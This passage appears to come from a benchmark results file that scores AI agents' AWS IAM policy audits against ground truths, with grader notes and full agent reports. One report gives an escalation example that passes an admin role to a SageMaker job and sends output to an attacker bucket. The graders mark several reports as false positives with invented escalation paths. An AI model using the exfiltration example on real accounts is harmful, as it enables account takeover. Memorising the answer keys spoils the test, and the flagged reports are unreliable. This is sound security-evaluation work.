\"arn:aws:iam::488213749302:role/sandbox-readonly-compute\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": [\n \"ec2.amazonaws.com\",\n \"ecs-tasks.amazonaws.com\",\n \"lambda.amazonaws.com\"\n ]\n }\n }\n}\n```\n\n---\n\n## FINDING 2 \u2014 `ec2:DescribeInstances` Resource Scoping Is Ineffective (Latent Correctness Issue)\n**Severity: Low / Informational**\n**Policy: policy-2.json, Sid: OperateExistingSandboxCompute**\n\n### The Problem\n\n`ec2:DescribeInstances` (and all `ec2:Describe*` actions) are **global-scope API calls** \u2014 AWS does not honor resource-level ARN restrictions on them. The policy lists this action alongside resource ARNs:\n\n```json\n{\n \"Action\": [\n \"ec2:StartInstances\",\n \"ec2:StopInstances\",\n \"ec2:RebootInstances\",\n \"ec2:DescribeInstances\", // <-- This one\n ...\n ],\n \"Resource\": [\n \"arn:aws:ec2:eu-west-1:488213749302:instance/*\"\n ]\n}\n```\n\nAWS silently evaluates `ec2:DescribeInstances` as if the resource were `*`, regardless of what ARN you specify. The practical effect is that this principal can enumerate **all EC2 instances in the account**, not just sandbox ones.\n\nThis is not an escalation path, but it means the intended scoping is not enforced and the policy is misleading to anyone reading it \u2014 a maintenance and audit risk.\n\n### Fix\n\nSplit `DescribeInstances` into a separate statement with an explicit `*` resource and, where possible, apply a `Condition` using resource tags to signal intent (note: tag-based conditions do not restrict Describe calls either, but they document intent):\n\n```json\n{\n \"Sid\": \"DescribeSandboxInstances\",\n \"Effect\": \"Allow\",\n \"Action\": \"ec2:DescribeInstances\",\n \"Resource\": \"*\"\n // Optionally add a comment/tag condition to document intended scope\n}\n```\n\nThis makes the actual behavior explicit rather than hiding it behind a false ARN constraint.\n\n---\n\n## FINDING 3 \u2014 `ecs:StartTask` Is Broader Than Intended; `ecs:RunTask` Absence May Be an Incomplete Control\n**Severity: Medium**\n**Policy: policy-2.json, Sid: OperateExistingSandboxCompute**\n\n### The Problem\n\n`ecs:StartTask` is a lower-level API that **places a manually-selected task definition onto a specific container instance**, bypassing the scheduler. Combined with `iam:PassRole`, this principal can start a task and **inject the `sandbox-readonly-compute` role as the task role**.\n\nThe issue is not the role itself (it's read-only), but the combination reveals a pattern: if `ecs:StartTask` is permitted with no constraint on which task definition can be used, the principal can start *any registered task definition* in the account \u2014 not just sandbox ones \u2014 because the resource ARN `arn:aws:ecs:eu-west-1:488213749302:task/*` scopes **running tasks**, not **task definitions**.\n\n```\necs:StartTask resource scope = running task ARN (arn:.../task/*)\n \u2260 task definition ARN (arn:.../task-definition/*)\n```\n\nThis means there is **no policy-level restriction on which task definition the operator can launch**, only on the resulting task object.\n\n### Concrete Abuse Path\n\n1. Attacker registers (or finds) a task definition that exfiltrates data or calls privileged APIs.\n2. Calls `ecs:StartTask` \u2014 this is allowed because the action is permitted and the resulting task ARN matches `task/*`.\n3. The task executes with `sandbox-readonly-compute` permissions, which is limited \u2014 **but the task code itself is unrestricted**.\n\nThe severity depends on what ECS container instances exist in the account and what network access they have.\n\n### Fix\n\nAdd a resource condition scoping `ecs:StartTask` to sandbox task definitions:\n\n```json\n{\n \"Sid\": \"StartSandboxECSTasks\",\n \"Effect\": \"Allow\",\n \"Action\": \"ecs:StartTask\",\n \"Resource\": \"*\",\n \"Condition\": {\n \"ArnLike\": {\n \"ecs:task-definition\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-*\"\n }\n }\n}\n```\n\nAdditionally, evaluate whether `ecs:RunTask` (the scheduler-based equivalent) should also be scoped, since it is not currently granted but may be expected.\n\n---\n\n## FINDING 4 \u2014 `lambda:InvokeFunction` Scoped Correctly, But No Qualifier Restriction\n**Severity: Low**\n**Policy: policy-2.json**\n\n### The Problem\n\n```json\n\"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*\"\n```\n\nThis allows invocation of any `sandbox-*` function at **any version or alias**, including `$LATEST`. There is no restriction preventing invocation of a specific alias (e.g., `prod`) if a sandbox function happens to have one. This is a minor scope issue rather than an escalation path.\n\n### Fix\n\nIf only specific aliases should be invokable (e.g., `sandbox` or `dev`):\n\n```json\n\"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*:sandbox\"\n```\n\nOr explicitly exclude `prod` aliases by adding a deny:\n\n```json\n{\n \"Sid\": \"DenyProdAliasInvocation\",\n \"Effect\": \"Deny\",\n \"Action\": \"lambda:InvokeFunction\",\n \"Resource\": \"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*:prod\"\n}\n```\n\n---\n\n## FINDING 5 \u2014 `iam:ListRolePolicies` + `iam:ListAttachedRolePolicies` Enables Policy Reconnaissance\n**Severity: Informational**\n**Policy: policy-1.json, Sid: ValidatePassableRole**\n\n### The Problem\n\nThis is intentional and documented in the context, but worth flagging explicitly: these two actions allow the operator to enumerate the full policy membership of `sandbox-readonly-compute`. While this is scoped to one role and is likely there for transparency/auditability, it means an operator can confirm exactly what permissions the passed role has. This is acceptable in a sandbox context but would be a finding in a production multi-team environment.\n\n### No Fix Required \u2014 Flag for Context\n\nIf the environment later expands to non-sandbox roles, ensure this pattern is not replicated.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Policy | Fix Complexity |\n|---|---------|----------|--------|----------------|\n| 1 | `iam:PassRole` missing `iam:PassedToService` condition | **Medium** | policy-1 | Low \u2014 add one condition block |\n| 2 | `ec2:DescribeInstances` resource scoping silently unenforced | **Low** | policy-2 | Low \u2014 split into separate statement |\n| 3 | `ecs:StartTask` unrestricted on task definition | **Medium** | policy-2 | Medium \u2014 add condition or task-def resource |\n| 4 | `lambda:InvokeFunction` no qualifier restriction | **Low** | policy-2 | Low \u2014 append qualifier to ARN |\n| 5 | Role policy enumeration via ListRolePolicies | **Info** | policy-1 | None required in sandbox context |\n\n---\n\n## What Was Explicitly Checked and Found Clean\n\n- **No `iam:CreateRole`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`** \u2014 no ability to manufacture new roles or expand existing ones.\n- **No `sts:AssumeRole`** \u2014 cannot pivot to other roles.\n- **`PassRole` scoped to a single, read-only role** \u2014 the passed role cannot itself escalate.\n- **No `iam:CreatePolicyVersion` or `iam:SetDefaultPolicyVersion`** \u2014 cannot rewrite policies.\n- **No data-plane wildcard** \u2014 S3, DynamoDB, and CloudWatch access in policy-3 are tightly ARN-scoped to sandbox resources.\n- **No cross-account resource ARNs** \u2014 all ARNs are within account `488213749302`.",
"agent_chars": 8785,
"agent_s": 49.8,
"elapsed_s": 60.1
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "control",
"trial": 1,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
0
],
"notes": [
"The agent correctly reads the policy statements and identifies PassRole scoped to a single ARN, compute actions, and IAM read grants.",
"Ground truth is zero findings (clean policy); the agent reports multiple HIGH/MEDIUM findings, failing to recognize the policy is clean.",
"The agent asserts multiple material defects (HIGH escalation via ECS task definitions, MEDIUM via Lambda execution roles, MEDIUM via EC2 instance profiles) that the ground truth explicitly says do not constitute real escalation paths given the context.",
"The agent fails cross-statement reasoning: ground truth notes that Start/Invoke operate on EXISTING compute with no role-binding launch action (RunInstances/CreateFunction/RunTask), so the PassRole combo cannot complete; the agent instead invents indirect escalation paths not supported by the policy text.",
"The agent headlines a HIGH severity finding for what ground truth confirms is a neutralized, non-escalating combo, violating the criticality rubric.",
"The agent does acknowledge boundaries it cannot determine, such as existing task definition roles and instance profiles, which matches the ground-truth boundary about the actual privileges of sandbox-readonly-compute and future policy additions.",
"The ground truth correct fix is 'None for security'; the agent recommends multiple remediation actions for non-existent escalation paths, which does not match the ground-truth fix in substance."
],
"agent_output": "# IAM Policy Audit: `role/sandbox-compute-operator`\n\n---\n\n## Executive Summary\n\nNo administrator escalation path exists. However, there are **two real findings** and **one design observation** worth addressing. The overall posture is reasonably scoped for a sandbox role, but the issues below are concrete and fixable.\n\n---\n\n## Finding 1 \u2014 `ecs:StartTask` Allows Arbitrary Role Injection via `taskRoleArn` Override\n\n**Severity: HIGH**\n\n### What the problem is\n\n`ecs:StartTask` (and `ecs:RunTask`) accept an optional `overrides` block in the API call. Within that block, the caller can specify a `taskRoleArn` \u2014 a **different IAM role** for the container to assume at runtime \u2014 entirely independently of what the task definition specifies.\n\n```json\n// Attacker-controlled API call\n{\n \"cluster\": \"sandbox\",\n \"taskDefinition\": \"sandbox-worker\",\n \"overrides\": {\n \"taskRoleArn\": \"arn:aws:iam::488213749302:role/some-privileged-role\"\n }\n}\n```\n\nThe `iam:PassRole` statement in policy-1 is scoped only to `sandbox-readonly-compute`. But `iam:PassRole` is **only enforced for the role being passed when the service validates it**. ECS's `StartTask` with a `taskRoleArn` override **does** require `iam:PassRole` for the overriding role \u2014 so the principal cannot pass an arbitrary privileged role they don't have `PassRole` for.\n\nHowever, the real risk here is subtler and still valid:\n\n1. **The principal CAN pass `sandbox-readonly-compute` as a `taskRoleArn`** \u2014 this is explicitly allowed, and that is fine by design.\n2. **The principal can invoke any existing task definition** without restriction on *which* task definition. If any existing task definition already has a privileged `taskRoleArn` baked in, `ecs:StartTask` will launch it with that role \u2014 **no PassRole check occurs for the role already embedded in the task definition**.\n\n```\nExisting task definition: sandbox-data-exporter\n taskRoleArn: arn:aws:iam::488213749302:role/s3-full-access-role \u2190 already there\nPrincipal calls ecs:StartTask on sandbox-data-exporter\n \u2192 container runs with s3-full-access-role\n \u2192 no PassRole needed, no policy violation\n```\n\nThis is a **passive privilege escalation via task definition reuse**: the operator does not need to inject anything; they just need to know (or discover) which task definitions carry elevated roles.\n\n### Fix\n\nAdd a condition on `ecs:StartTask` restricting the passable `taskRoleArn`, and separately restrict which task definitions can be started:\n\n```json\n{\n \"Sid\": \"OperateECSTasksScoped\",\n \"Effect\": \"Allow\",\n \"Action\": [\"ecs:StartTask\", \"ecs:StopTask\"],\n \"Resource\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-*\",\n \"Condition\": {\n \"ArnLike\": {\n \"ecs:TaskDefinition\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-readonly-*\"\n }\n }\n}\n```\n\nAdditionally, enforce at the **task definition level** (via ECS task definition IAM) that only `sandbox-readonly-compute` is a permitted `taskRoleArn`. Consider a separate deny statement:\n\n```json\n{\n \"Sid\": \"DenyECSTasksWithPrivilegedRoles\",\n \"Effect\": \"Deny\",\n \"Action\": [\"ecs:StartTask\", \"ecs:RunTask\"],\n \"Resource\": \"*\",\n \"Condition\": {\n \"ArnNotLike\": {\n \"ecs:TaskDefinition\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-readonly-*\"\n }\n }\n}\n```\n\n---\n\n## Finding 2 \u2014 `lambda:InvokeFunction` Scoped to Name Prefix Only, Not Qualifier\n\n**Severity: MEDIUM**\n\n### What the problem is\n\nThe resource constraint `arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*` matches any function whose **name** starts with `sandbox-`. It does not restrict:\n\n- **Which version or alias** is invoked (`:qualifier` suffix)\n- **Whether the function's execution role** is `sandbox-readonly-compute` or something more privileged\n\nA Lambda function named `sandbox-data-pipeline` might carry an execution role with broad S3 write, RDS, or Secrets Manager access. Invoking it is effectively **running arbitrary code under a privileged role** the operator cannot otherwise access directly.\n\nFurthermore, Lambda's `InvokeFunction` with a `Qualifier` that points to a specific alias could invoke a version of a function with a **different, more permissive execution role** if role reassignment has occurred across versions.\n\nThe operator only needs to know the function name starts with `sandbox-` \u2014 there is no guard on what the function *does* or what role it *runs as*.\n\n### Fix\n\n**Short term:** Add a condition tag enforcing that only functions tagged for operator use can be invoked:\n\n```json\n{\n \"Sid\": \"InvokeSandboxLambdaTagged\",\n \"Effect\": \"Allow\",\n \"Action\": \"lambda:InvokeFunction\",\n \"Resource\": \"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:ResourceTag/compute-operator-invocable\": \"true\"\n }\n }\n}\n```\n\n**Long term:** Enforce via SCP or permission boundary that any Lambda function with a name prefix `sandbox-` must only be assigned execution roles with names matching `sandbox-readonly-*`. This closes the risk at the resource-creation layer rather than patching it in the operator policy.\n\n---\n\n## Finding 3 \u2014 `iam:ListRolePolicies` + `iam:ListAttachedRolePolicies` Without `iam:GetPolicy` / `iam:GetPolicyVersion` Is Incomplete but Acceptable\n\n**Severity: LOW / Informational**\n\n### What the problem is\n\nThe `ValidatePassableRole` SID grants read access to the `sandbox-readonly-compute` role's metadata. This is a reasonable and defensible design \u2014 it lets the operator confirm what they're passing before passing it. However, listing attached policies by ARN without being able to read the policy document (`iam:GetPolicy`, `iam:GetPolicyVersion`) means this validation is **effectively theater**: the operator can see policy names but cannot read what those policies allow.\n\nThis is not a privilege escalation, but it means the stated intent of `ValidatePassableRole` \u2014 letting the operator reason about what they're passing \u2014 is not actually achievable with these permissions alone.\n\n### Fix\n\nEither:\n- **Remove** the `ValidatePassableRole` SID entirely if it is not operationally required (reduces noise and unnecessary IAM read surface), or\n- **Extend it** to include read access to the specific policy documents attached to `sandbox-readonly-compute`:\n\n```json\n{\n \"Sid\": \"ReadPassableRolePolicyDocuments\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\"\n ],\n \"Resource\": [\n \"arn:aws:iam::488213749302:policy/sandbox-readonly-compute-policy\"\n ]\n}\n```\n\n---\n\n## Finding 4 \u2014 `ec2:StartInstances` Has No Condition on Instance Profile\n\n**Severity: MEDIUM**\n\n### What the problem is\n\n`ec2:StartInstances` on `arn:aws:ec2:eu-west-1:488213749302:instance/*` allows the operator to start **any EC2 instance in the account in that region**. When an EC2 instance starts, it may already have an **instance profile** (IAM role) attached from before it was stopped.\n\nIdentical logic to Finding 1: if any stopped EC2 instance has a privileged instance profile attached (e.g., `ec2-deploy-role` with `iam:*` or `s3:*`), the operator can start it, and then anything running on that instance (or anything that can reach its metadata endpoint) has access to those credentials.\n\nThe operator does not need to modify the instance profile. They only need to start the instance.\n\n```\nStopped instance: i-0abc123\n IAM instance profile: ec2-privileged-builder (has s3:PutObject on prod buckets)\nPrincipal calls ec2:StartInstances on i-0abc123\n \u2192 instance boots, IMDS serves ec2-privileged-builder credentials\n \u2192 privilege escalation without touching IAM at all\n```\n\n### Fix\n\nUse a condition key to restrict StartInstances to instances tagged for sandbox operator use:\n\n```json\n{\n \"Sid\": \"StartSandboxTaggedInstancesOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:StartInstances\",\n \"ec2:StopInstances\",\n \"ec2:RebootInstances\"\n ],\n \"Resource\": \"arn:aws:ec2:eu-west-1:488213749302:instance/*\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:ResourceTag/environment\": \"sandbox\",\n \"aws:ResourceTag/compute-operator-managed\": \"true\"\n }\n }\n}\n```\n\nAdditionally, enforce via SCP that sandbox-tagged instances may only have instance profiles matching `sandbox-readonly-*`.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Mechanism |\n|---|---------|----------|-----------|\n| 1 | `ecs:StartTask` launches task definitions with pre-baked privileged roles | **HIGH** | No PassRole needed for pre-existing task definition role |\n| 2 | `lambda:InvokeFunction` allows invoking functions with privileged execution roles | **MEDIUM** | Function name prefix insufficient; execution role unrestricted |\n| 4 | `ec2:StartInstances` allows starting instances with privileged instance profiles | **MEDIUM** | Wildcard instance resource; no tag or profile guard |\n| 3 | `ValidatePassableRole` is incomplete by design | **LOW** | Missing `GetPolicyVersion`; informational only |\n\n---\n\n## One Thing This Policy Gets Right\n\nThe `iam:PassRole` scope to a single named ARN is correct and well-formed. Many policies get this wrong by using `iam:PassRole` on `Resource: \"*\"`, which is one of the most common critical misconfigurations in AWS. This policy does not make that mistake.",
"agent_chars": 9211,
"agent_s": 48.1,
"elapsed_s": 57.8
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "control",
"trial": 2,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parses the policy statements and identifies actions including PassRole, StartTask, InvokeFunction, and Describe actions.",
"Ground truth is zero findings (clean policy); agent reports four findings including two Medium severity ones, missing that this is a clean fixture.",
"Agent asserts multiple material defects (ecs:StartTask escalation via task definition, lambda prefix wildcard risk) that the ground truth explicitly does not flag as real escalation paths, constituting false positives.",
"Agent does reason across statements (PassRole + compute verbs), recognizing the combination pattern, though it incorrectly concludes it is exploitable rather than neutralized.",
"Agent headlines two Medium severity findings for a fixture the ground truth confirms is clean; this is inappropriate escalation of neutralized or non-existent risks.",
"Agent notes it cannot determine privileges of the passed role and references other attached policies/SCPs as unknowns, matching ground-truth boundary conditions.",
"Ground truth recommends no fix (or optionally removing unused PassRole); agent recommends multiple fixes for false-positive findings, failing to match the correct recommendation of no action needed."
],
"agent_output": "# IAM Policy Audit: `role/sandbox-compute-operator`\n\n---\n\n## Executive Summary\n\nNo administrator escalation path exists. The configuration is largely well-scoped, but there are **three concrete findings** ranging from Medium to Low severity, plus one architectural observation worth flagging.\n\n---\n\n## Finding 1 \u2014 `ecs:StartTask` Accepts a `taskRoleArn` Override at Launch Time\n\n**Severity: Medium**\n\n### The Problem\n\n`ecs:StartTask` (and `ecs:RunTask`) accept an `overrides` parameter at call time. Inside that parameter, the caller can specify a **different `taskRoleArn`**. Passing a role ARN to a compute workload is semantically equivalent to `iam:PassRole` \u2014 it determines what AWS identity the running container assumes.\n\nPolicy-1 scopes `iam:PassRole` tightly to `sandbox-readonly-compute`. However, `ecs:StartTask` with a `taskRoleArn` override **does not go through `iam:PassRole` enforcement** in the same check \u2014 the IAM PassRole boundary is evaluated at task registration time for the task definition's embedded role, but a runtime override via `overrides.taskRoleArn` **requires a separate `iam:PassRole` allow on the overridden role**.\n\nThe current policy has no explicit **Deny** on `iam:PassRole` for other roles. Because the default is implicit deny, this *should* block it \u2014 but the risk depends on whether any `ecs:PassRole`-adjacent condition keys are correctly enforced in your environment. More critically:\n\n**If the operator can influence which pre-registered task definition is used** (e.g., task definitions whose embedded `taskRoleArn` is a high-privilege role), `ecs:StartTask` lets them launch that definition and inherit that role without ever calling `iam:PassRole` themselves. The PassRole check was satisfied when the task definition was *registered*, not when it is *started*.\n\n```\nAttack path:\n1. Attacker finds (or knows of) a task definition whose taskRoleArn\n is a privileged role (e.g., arn:aws:iam::488213749302:role/admin-ecs-task)\n2. Calls ecs:StartTask with that task definition ARN\n3. No iam:PassRole check fires against the operator at start time\n4. Running container has privileged role credentials\n```\n\n### Fix\n\n**Constrain which task definitions can be started** using a resource condition:\n\n```json\n{\n \"Sid\": \"OperateExistingSandboxECS\",\n \"Effect\": \"Allow\",\n \"Action\": [\"ecs:StartTask\", \"ecs:StopTask\"],\n \"Resource\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-*\",\n \"Condition\": {\n \"ArnLike\": {\n \"ecs:task-definition\": \"arn:aws:ecs:eu-west-1:488213749302:task-definition/sandbox-*\"\n }\n }\n}\n```\n\nAdditionally, add an explicit Deny on `iam:PassRole` for anything outside the approved role:\n\n```json\n{\n \"Sid\": \"DenyPassRoleEscalation\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"NotResource\": \"arn:aws:iam::488213749302:role/sandbox-readonly-compute\"\n}\n```\n\nAnd consider using **ECS task definition resource tagging** with SCPs or permission boundaries to enforce that only task definitions tagged `environment=sandbox` can be started by this role.\n\n---\n\n## Finding 2 \u2014 `lambda:InvokeFunction` Scoped to `sandbox-*` Includes Any Future Sensitive Function Matching That Prefix\n\n**Severity: Medium**\n\n### The Problem\n\nThe resource constraint is:\n\n```\narn:aws:lambda:eu-west-1:488213749302:function:sandbox-*\n```\n\nThis is a **prefix wildcard** that will automatically include any Lambda function created in the future whose name starts with `sandbox-`. If a developer later creates `sandbox-data-export`, `sandbox-db-migrator`, or `sandbox-admin-bootstrap`, this operator can invoke them immediately upon creation with no policy change required.\n\nLambda invocation is not read-only. Depending on the function's code and its execution role, invoking it can:\n- Write to S3, DynamoDB, or RDS\n- Call external APIs\n- Trigger further AWS API calls with the **function's own role** (which may be more privileged)\n- Exfiltrate data if the function is poorly written\n\nThe operator cannot *create* new Lambda functions (no `lambda:CreateFunction`), but they can invoke anything that already matches or will match the prefix.\n\n### Fix\n\nEither:\n\n**Option A** \u2014 Use explicit function ARNs rather than a prefix, and manage additions deliberately:\n\n```json\n\"Resource\": [\n \"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-integration-runner\",\n \"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-health-check\"\n]\n```\n\n**Option B** \u2014 If the prefix approach is intentional, enforce an additional condition requiring a resource tag, so only explicitly approved functions (tagged at deploy time) are invocable:\n\n```json\n{\n \"Sid\": \"InvokeSandboxLambda\",\n \"Effect\": \"Allow\",\n \"Action\": \"lambda:InvokeFunction\",\n \"Resource\": \"arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:ResourceTag/operator-invocable\": \"true\"\n }\n }\n}\n```\n\n---\n\n## Finding 3 \u2014 `ec2:DescribeInstances` Is Granted Without Resource Scoping (Unavoidable but Should Be Documented)\n\n**Severity: Low / Informational**\n\n### The Problem\n\n`ec2:DescribeInstances` (and most EC2 Describe* actions) **do not support resource-level restrictions** \u2014 AWS always evaluates them against `\"Resource\": \"*\"`. The current policy lists an instance ARN as the resource, but IAM silently ignores the resource constraint for Describe actions and grants account-wide describe access.\n\nThis means the operator can enumerate **all EC2 instances in the account**, not just sandbox instances \u2014 including instance IDs, AMI IDs, private IP addresses, tags, security group associations, and subnet placements of production infrastructure.\n\nThis is not exploitable for direct privilege escalation, but it is significant for **reconnaissance** \u2014 an attacker who has compromised this role can map the entire EC2 fleet before pivoting.\n\n### Fix\n\nThis cannot be resource-scoped at the IAM level. Your options are:\n\n1. **Accept and document** the behavior explicitly \u2014 note in your runbook that this role has account-wide EC2 describe visibility by necessity.\n\n2. **Use Service Control Policies (SCPs)** at the OU level to limit which regions this role can call, reducing the blast radius:\n\n```json\n{\n \"Sid\": \"LimitToSandboxRegion\",\n \"Effect\": \"Deny\",\n \"Action\": \"ec2:Describe*\",\n \"Resource\": \"*\",\n \"Condition\": {\n \"StringNotEquals\": {\n \"aws:RequestedRegion\": \"eu-west-1\"\n }\n }\n}\n```\n\n3. **Remove `ec2:DescribeInstances`** from this policy if it isn't operationally required, and instead use **AWS Systems Manager Fleet Manager** for instance visibility within a specific resource group tagged for sandbox.\n\n---\n\n## Finding 4 \u2014 `iam:ListRolePolicies` + `iam:ListAttachedRolePolicies` Create a Policy Enumeration Primitive (Architectural Note)\n\n**Severity: Low**\n\n### The Problem\n\nPolicy-1 grants the operator the ability to enumerate the policies attached to `sandbox-readonly-compute`. The stated intent \u2014 allowing the operator to validate what they're passing \u2014 is reasonable. However, these actions return policy names and ARNs, which an attacker can use to:\n\n1. Confirm exactly which permissions the passed role has\n2. Craft Lambda invocation payloads or ECS task workloads that maximally exploit those permissions\n3. Verify that the role has *not* been recently modified to have additional permissions (confirming a safe escalation window)\n\nThis is low severity because the scope is limited to one role, and that role's policies are already visible in this audit. But it is worth noting as **security through obscurity is partially undermined**.\n\n### Fix\n\nIf the validation capability was added defensively (to let operators confirm before passing), consider whether it is actually used operationally. If not, remove it. If it is needed, it is acceptable as-is given the narrow resource scope \u2014 just document the intent.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Requires Immediate Fix? |\n|---|---------|----------|------------------------|\n| 1 | `ecs:StartTask` can launch task definitions with pre-embedded privileged roles | **Medium** | Yes |\n| 2 | `lambda:InvokeFunction` prefix wildcard auto-includes future functions | **Medium** | Yes |\n| 3 | `ec2:DescribeInstances` silently grants account-wide EC2 enumeration | **Low** | Document / Mitigate |\n| 4 | `iam:List*` on passed role enables policy reconnaissance | **Low** | Review necessity |\n\n---\n\n## What Is Confirmed Clean\n\n- No `iam:CreateRole`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:UpdateAssumeRolePolicy` \u2014 no role manipulation path.\n- No `sts:AssumeRole` \u2014 cannot directly assume other roles.\n- No `ec2:RunInstances` \u2014 cannot launch new EC2 with arbitrary instance profiles.\n- `iam:PassRole` is correctly scoped to a single, genuinely read-only role ARN.\n- Policy-3 (the passed role's permissions) is appropriately restrictive and does not grant any IAM, admin, or network-modifying actions.\n- No cross-account resource ARNs or wildcard account segments.",
"agent_chars": 8935,
"agent_s": 49.2,
"elapsed_s": 57.6
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "control",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly identifies iam:PassRole on '*' and sagemaker:CreateTrainingJob as concrete sensitive permissions enabling privilege escalation.",
"Agent identifies the ground-truth E1 defect: iam:PassRole on Resource '*' combined with sagemaker:CreateTrainingJob enables full privilege escalation to any role in the account.",
"No false positives; the additional findings (C-2, H-1, M-1 through M-4) are plausible secondary concerns rather than fabricated escalation paths, and none contradict the ground truth.",
"Agent explicitly reasons across policy-4 and policy-6 as separate policies whose union creates the escalation, demonstrating correct cross-statement analysis.",
"The iam:PassRole + CreateTrainingJob combo is ranked as the top CRITICAL finding and headlined as account takeover, consistent with ground truth severity.",
"Agent notes that the blast radius depends on the privileges of the roles that can be passed ('including roles with AdministratorAccess'), acknowledging it cannot determine the target role's privileges from this policy alone.",
"Top fix matches ground truth: scope iam:PassRole Resource to specific execution role ARN and add iam:PassedToService condition pinning to sagemaker.amazonaws.com."
],
"agent_output": "# IAM Policy Audit: `role/ml-training-platform`\n\n---\n\n## Executive Summary\n\nTwo critical findings form a **privilege escalation chain** that allows this role to achieve effective administrator access. Several additional medium and low severity findings compound the risk surface. The combination of `iam:PassRole` on `*` and `sagemaker:CreateTrainingJob` is the most dangerous pattern in this policy set.\n\n---\n\n## CRITICAL: Privilege Escalation Chain\n\n### Finding C-1 \u2014 `iam:PassRole` on `Resource: \"*\"` + `sagemaker:CreateTrainingJob`\n\n**Policies:** `policy-4.json` (PassRole) + `policy-6.json` (CreateTrainingJob)\n**Severity:** CRITICAL \u2014 Full privilege escalation to administrator\n\n#### The Attack Path\n\n```\nml-training-platform role\n \u2502\n \u251c\u2500 iam:PassRole on * (policy-4, PassTrainingExecutionRole)\n \u2502 \u2514\u2500 Can pass ANY role in the account, including\n \u2502 roles with AdministratorAccess\n \u2502\n \u2514\u2500 sagemaker:CreateTrainingJob (policy-6, RunTrainingAndProcessingJobs)\n \u2514\u2500 Launches a training job specifying:\n - RoleArn: arn:aws:iam::488213749302:role/AdminRole\n - AlgorithmSpecification: attacker-controlled container\n - OutputDataConfig: exfil bucket\n```\n\nA caller with this role executes:\n\n```python\nsagemaker_client.create_training_job(\n TrainingJobName=\"exfil-job\",\n RoleArn=\"arn:aws:iam::488213749302:role/AdminRole\", # passed via iam:PassRole\n AlgorithmSpecification={\n \"TrainingImage\": \"attacker-ecr-or-public-image\",\n \"TrainingInputMode\": \"File\"\n },\n OutputDataConfig={\"S3OutputPath\": \"s3://attacker-bucket/\"},\n ResourceConfig={...},\n StoppingCondition={...}\n)\n```\n\nThe training container runs with `AdminRole` credentials injected via the instance metadata service. The container can then call any AWS API \u2014 `iam:CreateUser`, `iam:AttachUserPolicy`, `s3:GetObject` on any bucket, `secretsmanager:GetSecretValue`, etc. This is **full account compromise**.\n\n#### Why the Sid `PassTrainingExecutionRole` is Misleading\n\nThe intent stated in the Sid is to pass only the training execution role. The implementation passes **every role in the account**. The gap between intent and implementation is the vulnerability.\n\n#### Fix\n\n```json\n{\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n}\n```\n\nTwo controls applied simultaneously:\n1. **Resource** locked to the exact execution role ARN (or at most `arn:aws:iam::488213749302:role/sagemaker-training-*` if multiple execution roles are needed).\n2. **Condition** `iam:PassedToService` ensures the role can only be passed to SageMaker, not to EC2, Lambda, Glue, or other compute services that could be abused similarly.\n\n---\n\n### Finding C-2 \u2014 `sagemaker:CreateProcessingJob` Extends the Escalation Surface\n\n**Policy:** `policy-6.json`, Sid `RunTrainingAndProcessingJobs`\n**Severity:** CRITICAL (same chain as C-1)\n\n`sagemaker:CreateProcessingJob` accepts a `RoleArn` parameter identically to `CreateTrainingJob`. With `iam:PassRole` on `*`, this is a second independent escalation vector. It also runs arbitrary container code.\n\nAdditionally, `sagemaker:CreateProcessingJob` is scoped to resource `arn:aws:sagemaker:eu-west-1:488213749302:training-job/*`. Processing jobs have a different ARN prefix (`processing-job/*`). This means the `CreateProcessingJob` permission may fail due to resource mismatch in normal use \u2014 but the misconfiguration may still be exploitable depending on how SageMaker evaluates the resource condition during job creation vs. job referencing. Regardless, the permission should not exist unless processing jobs are a documented requirement.\n\n#### Fix\n\nRemove `sagemaker:CreateProcessingJob` from the statement if processing jobs are not required. If they are required, add a separate statement with the correct resource ARN prefix and apply the same PassRole restriction from C-1.\n\n```json\n{\n \"Sid\": \"RunTrainingJobs\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateTrainingJob\",\n \"sagemaker:StopTrainingJob\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n}\n```\n\n---\n\n## HIGH: Broad IAM Read Permissions Enable Reconnaissance for Escalation\n\n### Finding H-1 \u2014 `iam:ListRoles` on `Resource: \"*\"`\n\n**Policy:** `policy-4.json`, 